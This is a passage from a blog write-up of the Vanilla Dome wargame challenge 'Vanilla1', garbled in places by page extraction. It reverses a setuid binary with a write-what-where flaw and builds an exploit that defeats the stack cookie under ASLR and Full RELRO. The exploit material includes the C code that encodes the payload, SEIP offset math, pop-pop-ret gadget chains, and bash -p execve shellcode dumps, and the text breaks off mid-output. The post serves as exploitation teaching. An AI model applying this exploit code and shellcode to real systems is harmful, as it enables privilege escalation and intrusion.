Sunteți pe pagina 1din 13

Diese Website verwendet Cookies, um die Bereitstellung von Diensten zu verbessern.

Durch die Nutzung dieser Website erklren Sie sich mit der Verwendung von Cookies einv

Binary world for binary people :)

lundi 10 juin 2013

Vanilla1 : write-what-where exploitation (ASLR, Full RELRO,


Stack cookie)
Hello,
For today article, we're going to analyze and exploit a write-what-where with
ASLR, no PIE, full RELRO and stack cookie.
This is part of a set of challenges made by sm0k: Vanilla Dome Wargame .
Let's begin.

The challenge

Before any reversing attempt, we need to launch the program to see what it does.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

vanilla1@VanillaDome ~ $ ls -lash
total 76K
4.0K drwxr-xr-x 2 root
root
4.0K Apr 29 14:15 .
4.0K drwxr-x--x 10 root
root
4.0K May 15 20:52 ..
4.0K -rw-r--r-- 1 root
root
127 Mar 23 05:56 .bash_logout
4.0K -rw-r--r-- 1 root
root
193 Mar 23 05:56 .bash_profile
4.0K -rw-r--r-- 1 root
root
3.9K Apr 29 15:47 .bashrc
44K -rw-r--r-- 1 root
root
44K Apr 29 14:15 .gdbinit
8.0K -r-sr-sr-x 1 vanilla1crack vanilla1crack 6.7K Apr 29 12:28 Vanilla1
4.0K -r-------- 1 vanilla1crack vanilla1crack 19 Apr 29 12:28 key
vanilla1@VanillaDome ~ $ ./Vanilla1
Usage:./Vanilla1 <file>
vanilla1@VanillaDome ~ $ ./Vanilla1 key
vanilla1@VanillaDome ~ $ python -c 'print "a" * 1024' > /tmp/file.txt
vanilla1@VanillaDome ~ $ ./Vanilla1 /tmp/file.txt

Ok, it basically read some file and do stuffs with it ...

Let's reverse it

Binholic : RSS Me :)
Articles
Commentaires

Opening GDB and disassembling main we get the following:

Membres

Qui tes-vous ?
m_101
Afficher mon profil complet

Archives du blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

?
Dump of assembler code for function main:
0x08048578 <+0>: push ebp
0x08048579 <+1>: mov ebp,esp
0x0804857b <+3>: and esp,0xfffffff0
; alignment
0x0804857e <+6>: sub esp,0x1050
; there is a HUGE buffer and we have ebp = esp + 0x1050
0x08048584 <+12>: mov eax,DWORD PTR [ebp+0x8]
; argc
0x08048587 <+15>: mov DWORD PTR [esp+0x1c],eax
; n_arg = argc
0x0804858b <+19>: mov eax,DWORD PTR [ebp+0xc]
; argv
0x0804858e <+22>: mov DWORD PTR [esp+0x18],eax
; args = argv
0x08048592 <+26>: mov eax,gs:0x14
; eax = stack cookie
0x08048598 <+32>: mov DWORD PTR [esp+0x104c],eax
; stack cookie (stored in gs:0x14)
0x0804859f <+39>: xor eax,eax
0x080485a1 <+41>: cmp DWORD PTR [esp+0x1c],0x1
; if (n_arg <= 1) then error
0x080485a6 <+46>: jg
0x80485c4 <main+76>
; else continue

0x080485a8 <+48>:
0x080485ac <+52>:
0x080485ae <+54>:
; printf ("\t Usage:%s
0x080485b3 <+59>:
0x080485b7 <+63>:
0x080485ba <+66>:
0x080485bf <+71>:

mov eax,DWORD PTR [esp+0x18]


; args ptr
mov edx,DWORD PTR [eax]
; program name
mov eax,0x8048790
; format = "\t Usage:%s <file>\n"
<file>\n", argv[0]);
mov DWORD PTR [esp+0x4],edx
mov DWORD PTR [esp],eax
call 0x8048434 <printf@plt>
jmp 0x80486a9 <main+305>
; bye

; memset (esp+0x38,
0x080485c4 <+76>:
0x080485cc <+84>:
0x080485d4 <+92>:
0x080485dc <+100>:
0x080485e0 <+104>:
0x080485e3 <+107>:

0x0, 0x1000);
mov DWORD PTR [esp+0x34],0x0
mov DWORD PTR [esp+0x8],0x1000
mov DWORD PTR [esp+0x4],0x0
lea eax,[esp+0x38]
mov DWORD PTR [esp],eax
call 0x80483f4 <memset@plt>

; fp = NULL;

; fp = fopen (argv[1], "r");


0x080485e8 <+112>: mov edx,0x80487a3
; "r"
0x080485ed <+117>: mov eax,DWORD PTR [esp+0x18]
; args
0x080485f1 <+121>: add eax,0x4
0x080485f4 <+124>: mov eax,DWORD PTR [eax]
; eax = args[1];
0x080485f6 <+126>: mov DWORD PTR [esp+0x4],edx
0x080485fa <+130>: mov DWORD PTR [esp],eax
0x080485fd <+133>: call 0x8048424 <fopen@plt>
0x08048602 <+138>: mov DWORD PTR [esp+0x34],eax
0x08048606 <+142>: cmp DWORD PTR [esp+0x34],0x0
; if (fp == NULL) then error
0x0804860b <+147>: je
0x80486a9 <main+305>
0x08048611 <+153>: jmp 0x8048682 <main+266>
; else fgets
; value1 = atoll (buffer);
0x08048613 <+155>: lea eax,[esp+0x1038]
; this is a small buffer (ebp-0x1050+0x1038 = ebp-0x18)
0x0804861a <+162>: mov DWORD PTR [esp],eax
0x0804861d <+165>: call 0x8048414 <atoll@plt>
0x08048622 <+170>: mov DWORD PTR [esp+0x30],eax
; fgets (sbuffer, 0x14, fp);
0x08048626 <+174>: mov eax,DWORD PTR [esp+0x34]
; eax = fp
0x0804862a <+178>: mov DWORD PTR [esp+0x8],eax
0x0804862e <+182>: mov DWORD PTR [esp+0x4],0x14
0x08048636 <+190>: lea eax,[esp+0x1038]
; sbuffer
0x0804863d <+197>: mov DWORD PTR [esp],eax
0x08048640 <+200>: call 0x80483e4 <fgets@plt>
; value2 = atoll(sbuffer);
0x08048645 <+205>: lea eax,[esp+0x1038]
0x0804864c <+212>: mov DWORD PTR [esp],eax
0x0804864f <+215>: call 0x8048414 <atoll@plt>
0x08048654 <+220>: mov DWORD PTR [esp+0x2c],eax
0x08048658 <+224>: cmp DWORD PTR [esp+0x30],0x0
; if (value1 == 0) then fgets
0x0804865d <+229>: je
0x8048682 <main+266>
0x0804865f <+231>:
0x08048664 <+236>:

cmp DWORD PTR [esp+0x2c],0x0


je
0x8048682 <main+266>

; insert (value2, value1, esp+0x38);


0x08048666 <+238>: lea eax,[esp+0x38]
0x0804866a <+242>: mov DWORD PTR [esp+0x8],eax
0x0804866e <+246>: mov eax,DWORD PTR [esp+0x30]
0x08048672 <+250>: mov DWORD PTR [esp+0x4],eax
0x08048676 <+254>: mov eax,DWORD PTR [esp+0x2c]
0x0804867a <+258>: mov DWORD PTR [esp],eax
0x0804867d <+261>: call 0x8048534 <insert>
; fgets (buffer, 0x14, fp);
0x08048682 <+266>: mov
0x08048686 <+270>: mov
0x0804868a <+274>: mov
0x08048692 <+282>: lea
0x08048699 <+289>: mov
0x0804869c <+292>: call
0x080486a1 <+297>: test
0x080486a3 <+299>: jne
; check cookie
0x080486a9 <+305>:
0x080486ae <+310>:
0x080486b5 <+317>:
0x080486bc <+324>:

; if (value2 == 0) then fgets

; eax = value1
; eax = value2

eax,DWORD PTR [esp+0x34]


; eax = fp
DWORD PTR [esp+0x8],eax
DWORD PTR [esp+0x4],0x14
eax,[esp+0x1038]
; buffer
DWORD PTR [esp],eax
0x80483e4 <fgets@plt>
eax,eax
; if (still data) then loop
0x8048613 <main+155>

mov eax,0x0
mov edx,DWORD PTR [esp+0x104c]
xor edx,DWORD PTR gs:0x14
je
0x80486c3 <main+331>

; stack cookie

0x080486be <+326>: call 0x8048444 <__stack_chk_fail@plt>


0x080486c3 <+331>: leave
0x080486c4 <+332>: ret
End of assembler dump.

We basically have a main() which read the file with fgets() and use atoll()
in an insert function.
We can reconstruct the stack also. We can see in the code that ESP is used but
it is not convenient for calculating sizes.
We get the following stack values in the end for main():

2013 ( 10 )
dcembre ( 3 )
aot ( 1 )
juin ( 1 )
Vanilla1 : writewhat-where
exploitation
(ASLR, Fu...
mars ( 5 )
2012 ( 1 )
2011 ( 25 )
2010 ( 32 )
2009 ( 1 )

1
2
3
4
5
6

esp+0x2c
esp+0x30
esp+0x34
esp+0x38
esp+0x1038
esp+0x104c

<-> ebp-0x1050+0x2c-0x8 = ebp-0x102c


<-> ebp-0x1050+0x30-0x8 = ebp-0x1028
<-> ebp-0x1050+0x34-0x8 = ebp-0x1024
<-> ebp-0x1050+0x38-0x8 = ebp-0x1020
<-> ebp-0x1050+0x1038-0x8 = ebp-0x20
<-> ebp-0x1050+0x104c-0x8 = ebp-0xc

;
;
;
;

value2
value1
fp
buffer (0x1000 = 4096 bytes)
; sbuffer (0x14 = 20 bytes)
; stack cookie

Don't forget -0x8 which correspond to seip and sebp ;).


sbuffer is a temporary buffer which is used by fgets().
value1 and value2 are integers converted from sbuffer through atoll().
fp is the file pointer used for referencing the file.
Having all the values, we can reconstruct the stack properly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

STACK TOP = LOW ADDRESSES


esp
| arg0
esp+0x4
| arg1
^ esp+0x8
| arg2
| ebp-0x102c | value2
| ebp-0x1028 | value1
PUSH | ebp-0x1024 | fp
| ebp-0x1020 | buffer
|
.....
|
| ebp-0x20 | end buffer
| ebp-0x20 | sbuffer
ebp-0xc
| stack cookie
ebp
| sebp
ebp+0x4-blog
| seip
ebp+0x8
| argc
ebp+0xc
| argv

|
|

| POP

|
V

STACK BOTTOM = HIGH ADDRESSES

Following the ASM, the main should look something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main (int argc, char *argv[])
{
int value1, value2;
FILE *fp;
char buffer[4096], sbuffer[20];
if (argc <= 1) {
printf ("\t Usage:%s <file>\n", argv[0]);
return 0;
}
memset (buffer, 0, 0x1000);
fp = fopen (argv[1], "r");
if (fp == NULL)
return 0;
while (fgets (sbuffer, 0x14, fp) != NULL) {
value1 = atoll (sbuffer);
fgets (sbuffer, 0x14, fp);
value2 = atoll (sbuffer);
if (value1 != 0 && value2 != 0)
insert (value2, value1, buffer);
}
}

return 0;

The file is basically structured as a sequence of string values:


value1 | value2 | value1 | value2 | .... | value1 | value2
Don't forget that atoll() only convert leading characters [0-9]+ to an integer,
any following characters that are not numbers are not converted.
Now onto insert reversing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

Dump of assembler code for function insert:


0x08048534 <+0>: push ebp
0x08048535 <+1>: mov ebp,esp
0x08048537 <+3>: sub esp,0x28
0x0804853a <+6>: mov eax,DWORD PTR [ebp+0x8]
; eax = value2
0x0804853d <+9>: mov DWORD PTR [ebp-0x1c],eax
0x08048540 <+12>: mov eax,DWORD PTR [ebp+0xc]
; eax = value1
0x08048543 <+15>: mov DWORD PTR [ebp-0x20],eax
0x08048546 <+18>: mov eax,DWORD PTR [ebp+0x10]
; eax = buffer
0x08048549 <+21>: mov DWORD PTR [ebp-0x24],eax
0x0804854c <+24>: mov eax,gs:0x14
; stack cookie
0x08048552 <+30>: mov DWORD PTR [ebp-0xc],eax
0x08048555 <+33>: xor eax,eax
0x08048557 <+35>: mov eax,DWORD PTR [ebp-0x1c]
0x0804855a <+38>: shl eax,0x2
; value2 <<= 2;
0x0804855d <+41>: add eax,DWORD PTR [ebp-0x24]
; value2 += buffer;
0x08048560 <+44>: mov edx,DWORD PTR [ebp-0x20]
0x08048563 <+47>: mov DWORD PTR [eax],edx
; *value2 = value1;
; stack cookie check
0x08048565 <+49>: mov eax,DWORD PTR [ebp-0xc]
; stack cookie
0x08048568 <+52>: xor eax,DWORD PTR gs:0x14
0x0804856f <+59>: je
0x8048576 <insert+66>

0x08048571 <+61>: call 0x8048444 <__stack_chk_fail@plt>


0x08048576 <+66>: leave
0x08048577 <+67>: ret
End of assembler dump.

We thus have the following stack for insert():


1
2
3
4
5
6
7
8
9
10
11
12
13
14

STACK TOP = LOW ADDRESSES

esp
^ ebp-0x24 | buffer
|
| ebp-0x20 | value1
|
PUSH | ebp-0x1c | value2
| POP
| ebp-0xc
| stack cookie V
ebp
| sebp
ebp+0x4
| seip
ebp+0x8
| offset
ebp+0xc
| value
ebp+0x10 | buffer
STACK BOTTOM = HIGH ADDRESSES

The interesting code is between 0x804855a and 0x8048563, the rest is mostly
setting up stuffs.
From this code we can infer that:
- buffer is in fact an array of integers (due to shl eax, 0x2 which is equal to x4)
- value2 is an offset
- value1 is a value to insert
- no return as eax value is not properly re-initialized
So it is equivalent to the following code:
1
2
3
4

void insert (int offset, int value, int *array)


{
array[offset] = value;
}

So we can basically write an arbitrary value anywhere we want: a so called


"write-what-where".
This basically allow us to easily bypass the stack cookie.
Time for exploitation.

Exploiting a write-what-where

We first need to know what to write, there are multiple possibilities:


- SEIP (return to code)
- SEBP (then craft a fake stack frame and all necessary stuffs)
- atexit destructors
- DYNAMIC FINI
- GOT entry
- etc
Since this is a write-what-where and we want a reliable exploit, the
__stack_chk_fail GOT entry would have been a nice target.
Unlucky for us: RELRO so no way.
We will target a stack address as the buffer address is on the stack and we
control an offset. It will be more reliable than targeting an address in the
binary (stack randomization could make the offset change between 0x804.... and
stack addresses). SEIP is the obvious candidate here.
Since we would like to trigger our payload as soon as possible, insert() SEIP
is the target.
Second condition: we need a place for our shellcode!
We'll "simply" inject it through our "integers array". There is plenty of room
(0x1000 = 4096 bytes!).
Secondly, good news: no NX, so no need for ROP here.
Given that our shellcode is around 22-50 bytes, we get at least 4000 NOPs for

our NOPsled.
Ok, now we have the theory, let's resolve that challenge!

Exploitation

In our previous section, our exploit reflexion was as follow:


- fill integer array with shellcode
- activate payload by overwriting insert() SEIP
The following snippets of code is in charge of filling the array:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

int get_fsize (FILE *fp)


{
int sz_file;
int old_offset;

old_offset = ftell (fp);


fseek (fp, 0, SEEK_END);
sz_file = ftell (fp);
fseek (fp, old_offset, SEEK_SET);
}

return sz_file;

// integer to ascii
char *i2a (uint32_t value)
{
char *intstr;
int len_intstr;
intstr = calloc (21, sizeof(*intstr));
memset (intstr, 'a', 19);
snprintf (intstr, 19, "%d", value);
len_intstr = strlen (intstr);
if (intstr > 0)
intstr[len_intstr] = 'a';
}

return intstr;

struct dpatch_t *fill_array (struct dpatch_t *array, int n_elts, FILE *fp)
{
// buffer
char *buffer;
// loop
int idx_array, idx_buffer;
int sz_file;
int rest;
sz_file = get_fsize (fp);
rest = sz_file % 4;
// alloc buffer
buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
if (!buffer)
return NULL;
// read
fseek (fp, 0, SEEK_SET);
fread (buffer, sz_file, 1, fp);
// construct array
for (idx_array = 0, idx_buffer = 0; idx_array < n_elts - 1; idx_array++, idx_buffer++) {
array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
array[idx_array].offset = i2a (idx_buffer);
}
free (buffer);
}

return array;

Now we need to activate our payload through the vulnerability trigger.


We need to compute our insert() SEIP offset.
1
2
3
4
5
6
7
8
9
10

ESP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset) - 0x28
= EBP (main) - 0x1050 - 0x4 - 0x4 - 0x28
= EBP (main) - 0x1080
EBP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset)
= EBP (main) - 0x1050 - 0x4 - 0x4
= EBP (main) - 0x1058
seip (insert) = buffer - (EBP (insert) + 0x4)
= (EBP (main) - 0x1020) - (EBP (main) - 0x1058 + 0x4)
= 0x3c

Ok, we got 0x3c (60) bytes upper on the stack and lower in memory.
So we basically are going to create an underflow.
Since there seems to be only unsigned integers but multiplied by 0x4. We need
to have "real" value:
3c = 15 * 4
Ok we got our offset, what about our value to insert?
We can avoid guessing the 4 bytes of the address.
We can do that by overwriting only 2 last bytes of insert() SEIP (it would

thus junk 2 bytes afterward but we don't really care about those).
Since we multiply by 4, this technique is not possible (it has to be a
multiple of 4).
There is an actual better solution.
Remember our insert() stack?
1
2
3
4
5
6
7
8
9
10
11
12
13
14

STACK TOP = LOW ADDRESSES

esp
^ ebp-0x24 | buffer
|
| ebp-0x20 | value1
|
PUSH | ebp-0x1c | value2
| POP
| ebp-0xc
| stack cookie V
ebp
| sebp
ebp+0x4
| seip
ebp+0x8
| offset
ebp+0xc
| value
ebp+0x10 | buffer
STACK BOTTOM = HIGH ADDRESSES

We have buffer address laying on the stack!


We may be able to reuse it :).
Let's check:
We're going to break on:
- 0x0804867d <main+261> : call 0x8048534 <insert>
- 0x08048577 <insert+67>: ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74

gdb$ b *0x0804867d
gdb$ b *0x08048577
gdb$ r /tmp/test.txt
--------------------------------------------------------------------------[regs]
EAX: FFFFFFF1 EBX: 9CB15E54 ECX: 00000001 EDX: FFFFFFFF o d I t S z a p c
ESI: 00000000 EDI: 00000000 EBP: B3D36E58 ESP: B3D35E00 EIP: 0804867D
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:B3D35E00]----------------------------------------------------------[stack]
B3D35E50 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E40 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E30 : 00 E8 76 48 C8 61 05 08 - 00 00 00 00 00 00 00 00 ..vH.a..........
B3D35E20 : 00 00 00 00 00 00 00 00 - 00 00 00 00 F1 FF FF FF ................
B3D35E10 : 00 00 00 00 00 00 00 00 - 04 6F D3 B3 02 00 00 00 .........o......
B3D35E00 : F1 FF FF FF 00 E8 76 48 - 38 5E D3 B3 00 00 00 00 ......vH8^......
[007B:B3D35E00]-----------------------------------------------------------[data]
B3D35E00 : F1 FF FF FF 00 E8 76 48 - 38 5E D3 B3 00 00 00 00 ......vH8^......
B3D35E10 : 00 00 00 00 00 00 00 00 - 04 6F D3 B3 02 00 00 00 .........o......
B3D35E20 : 00 00 00 00 00 00 00 00 - 00 00 00 00 F1 FF FF FF ................
B3D35E30 : 00 E8 76 48 C8 61 05 08 - 00 00 00 00 00 00 00 00 ..vH.a..........
B3D35E40 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E50 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E60 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E70 : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0073:0804867D]-----------------------------------------------------------[code]
=> 0x804867d <main+261>: call 0x8048534 <insert>
0x8048682 <main+266>: mov eax,DWORD PTR [esp+0x34]
0x8048686 <main+270>: mov DWORD PTR [esp+0x8],eax
0x804868a <main+274>: mov DWORD PTR [esp+0x4],0x14
0x8048692 <main+282>: lea eax,[esp+0x1038]
0x8048699 <main+289>: mov DWORD PTR [esp],eax
0x804869c <main+292>: call 0x80483e4 <fgets@plt>
0x80486a1 <main+297>: test eax,eax
-------------------------------------------------------------------------------Breakpoint 1, 0x0804867d in main ()
gdb$ gdb$ p/x $ebp-0x1020
$1 = 0xb3d35e38
gdb$ c
--------------------------------------------------------------------------[regs]
EAX: 00000000 EBX: 9CB15E54 ECX: 00000001 EDX: 4876E800 o d I t s Z a P c
ESI: 00000000 EDI: 00000000 EBP: B3D36E58 ESP: B3D35DFC EIP: 08048577
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
[007B:B3D35DFC]----------------------------------------------------------[stack]
B3D35E4C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E3C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E2C : F1 FF FF FF 00 E8 76 48 - C8 61 05 08 00 00 00 00 ......vH.a......
B3D35E1C : 02 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E0C : 00 00 00 00 00 00 00 00 - 00 00 00 00 04 6F D3 B3 .............o..
B3D35DFC : 00 E8 76 48 F1 FF FF FF - 00 E8 76 48 38 5E D3 B3 ..vH......vH8^..
[007B:B3D35DFC]-----------------------------------------------------------[data]
B3D35DFC : 00 E8 76 48 F1 FF FF FF - 00 E8 76 48 38 5E D3 B3 ..vH......vH8^..
B3D35E0C : 00 00 00 00 00 00 00 00 - 00 00 00 00 04 6F D3 B3 .............o..
B3D35E1C : 02 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E2C : F1 FF FF FF 00 E8 76 48 - C8 61 05 08 00 00 00 00 ......vH.a......
B3D35E3C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E4C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E5C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
B3D35E6C : 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 ................
[0073:08048577]-----------------------------------------------------------[code]
=> 0x8048577 <insert+67>: ret
0x8048578 <main>: push ebp
0x8048579 <main+1>: mov ebp,esp
0x804857b <main+3>: and esp,0xfffffff0
0x804857e <main+6>: sub esp,0x1050
0x8048584 <main+12>: mov eax,DWORD PTR [ebp+0x8]
0x8048587 <main+15>: mov DWORD PTR [esp+0x1c],eax
0x804858b <main+19>: mov eax,DWORD PTR [ebp+0xc]
-------------------------------------------------------------------------------Breakpoint 2, 0x08048577 in insert ()
gdb$ x/10wx $esp
0xb3d35dfc: 0x08048767 0xfffffff1 0x08048767 0xb3d35e38
0xb3d35e0c: 0x00000000 0x00000000 0x00000000 0xb3d36f04
0xb3d35e1c: 0x00000002 0x00000000

0x08048767 is our rewritten SEIP :).


0xfffffff1 is -15
0x08048767 the value we gave
0xb3d35e38 is our buffer value
0xb3d36f04 point to env[]
Ok, great, we have a pointer to our buffer.
We now need an instruction of style pop pop ret.

Exploitation POP-POP-RET style

First, we need our pop-pop-ret.


1
2
3
4
5
6

$ objdump -d ./Vanilla1
...
8048767: 5b
8048768: 5d
8048769: c3
...

pop
pop
ret

%ebx
%ebp

Here we go.
The trigger is thus done this way:
1
2
3
4
5

// fill array with shellcode


fill_array (array, n_elts, fp_in);
// set trigger
array[n_elts-1].value = i2a (0x8048767);
array[n_elts-1].offset = i2a(-15);

0x8048767 is the address to the pop-pop-ret.


-15 is the offset to SEIP.
Now we should have everything we need for reliable exploitation.
Let's try our sploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1.rev1 bash-p.bin payload.bin


sz_file = 33
rest = 1
n_elts = 9
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 0aaaaaaaaaaaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1aaaaaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
32 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 2aaaaaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
33 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 3aaaaaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
34 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 4aaaaaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 5aaaaaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 6aaaaaaaaaaaaaaaaaa
2d 38 34 30 38 35 37 32 36 31 61 61 61 61 61 61 61 61 61 | -840857261aaaaaaaaa
37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 7aaaaaaaaaaaaaaaaaa
31 32 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 128aaaaaaaaaaaaaaaa
38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 8aaaaaaaaaaaaaaaaaa
31 33 34 35 31 34 35 33 35 61 61 61 61 61 61 61 61 61 61 | 134514535aaaaaaaaaa
2d 31 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | -15aaaaaaaaaaaaaaaa

On the remote machine:


vanilla1@VanillaDome /tmp $ ~/Vanilla1 v1.1.txt
Segmentation fault

Woot! It doesn't work!


Let's check the stack.
1
2
3
4

gdb$ b *0x08048577
Breakpoint 1 at 0x8048577
gdb$ condition 1 $edx==0x8048767
gdb$ r payload.bin

We break as soon as edx == 0x8048577 (which is our last value).


1
2
3
4
5
6
7
8
9

gdb$ x/10wx $esp


0xb3d35dfc: 0x08048767 0xfffffff1 0x08048767 0xb3d35e38
0xb3d35e0c: 0x00000000 0x00000000 0x00000000 0xb3d36f04
0xb3d35e1c: 0x00000002 0x00000000
gdb$ x/10wx 0xb3d35e38
0xb3d35e38: 0x00000000
0xb3d35e48: 0x68736162
0xb3d35e38: 0x00000080

0x2d686652 0x52e18970 0x2f68686a


0x6e69622f 0x5152e389 0xcde18953
0x00000000

Whoops, the first 4 bytes are never written.


That's explained by the fact that insert() isn't called if atoll() return 0.
We can fix it through 2 methods:
- put our payload somewhere else in the stack
- use arithmetic tricks

Putting our payload somewhere else

Remember about 0xb3d36f04 ?


This is our env[] pointer.
We need an address in stack to use the same trick as before with the pop-pop-ret.
1
2
3
4

gdb$ x/10wx 0xb3d36f04


0xb3d36f04: 0xbd4dea72
0xb3d36f14: 0xbd4deb25
0xb3d36f24: 0xbd4deb77

0xbd4dea8a
0xbd4deb35
0xbd4deb85

0x00000000
0xbd4deb40

0xbd4dea93
0xbd4deb64

If you check each pointers:


1
2
3
4
5
6

gdb$ x/s 0xbd4dea72


0xbd4dea72:
"/home/vanilla1/Vanilla1"
gdb$ x/s 0xbd4dea8a
0xbd4dea8a:
"payload.bin"
gdb$ x/s 0xbd4deb64
0xbd4deb64:
"SSH_TTY=/dev/pts/0"

You get environment values.


We can trash those pointers, we don't really need them (our shell won't be happy
but it'll still work).
In order to overwrite those pointers, we need our offset:
1

0xb3d36f04 - 0xb3d35e38 = 0x10CC = 4300

And we need to pop 6 values out of the stack.


For that, I chose 2 gadgets chained together:
1
2

0x08048735: pop ebx ; pop esi ; pop edi ; pop ebp ; ret ; (1 found)
0x08048503: pop ebp ; ret ; (1 found)

Your stack will look like this when the trigger is set up:
1
2
3
4

gdb$ x/10wx $esp


0xb3d35dfc: 0x08048735 0xfffffff1 0x08048735 0xb3d35e38
0xb3d35e0c: 0x00000000 0x08048503 0x00000000 0xb3d36f04
0xb3d35e1c: 0x00000002 0x00000000

It will return directly to 0xb3d36f04 and gain code execution.


Let's try:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

m101@m101-laptop:~/challenges/vanilla_dome$ ./exploit1.rev2 bash-p.bin v1.2txt


sz_file = 33
rest = 1
n_elts = 9
6a 0b 58 99
| j.X.
52 66 68 2d
| Rfh70 89 e1 52
| p..R
6a 68 68 2f
| jhh/
62 61 73 68
| bash
2f 62 69 6e
| /bin
89 e3 52 51
| ..RQ
53 89 e1 cd
| S...
80 00 00 00
| ....
2d 31 37 32 32 32 38 33 31 35 38 61 61 61 61 61 61 61 61 | -1722283158aaaaaaaa
31 30 37 35 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1075aaaaaaaaaaaaaaa
37 36 31 38 31 36 36 35 38 61 61 61 61 61 61 61 61 61 61 | 761816658aaaaaaaaaa
31 30 37 36 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1076aaaaaaaaaaaaaaa
31 33 39 30 35 31 32 34 39 36 61 61 61 61 61 61 61 61 61 | 1390512496aaaaaaaaa
31 30 37 37 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1077aaaaaaaaaaaaaaa
37 39 35 33 37 31 36 32 36 61 61 61 61 61 61 61 61 61 61 | 795371626aaaaaaaaaa
31 30 37 38 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1078aaaaaaaaaaaaaaa
31 37 35 32 33 39 32 30 33 34 61 61 61 61 61 61 61 61 61 | 1752392034aaaaaaaaa
31 30 37 39 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1079aaaaaaaaaaaaaaa
31 38 35 32 34 30 30 31 37 35 61 61 61 61 61 61 61 61 61 | 1852400175aaaaaaaaa
31 30 38 30 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 | 1080aaaaaaaaaaaaaaa
31 33 36 34 33 38 36 36 39 37 61 61 61 61 61 61 61 61 61 | 1364386697aaaaaaaaa
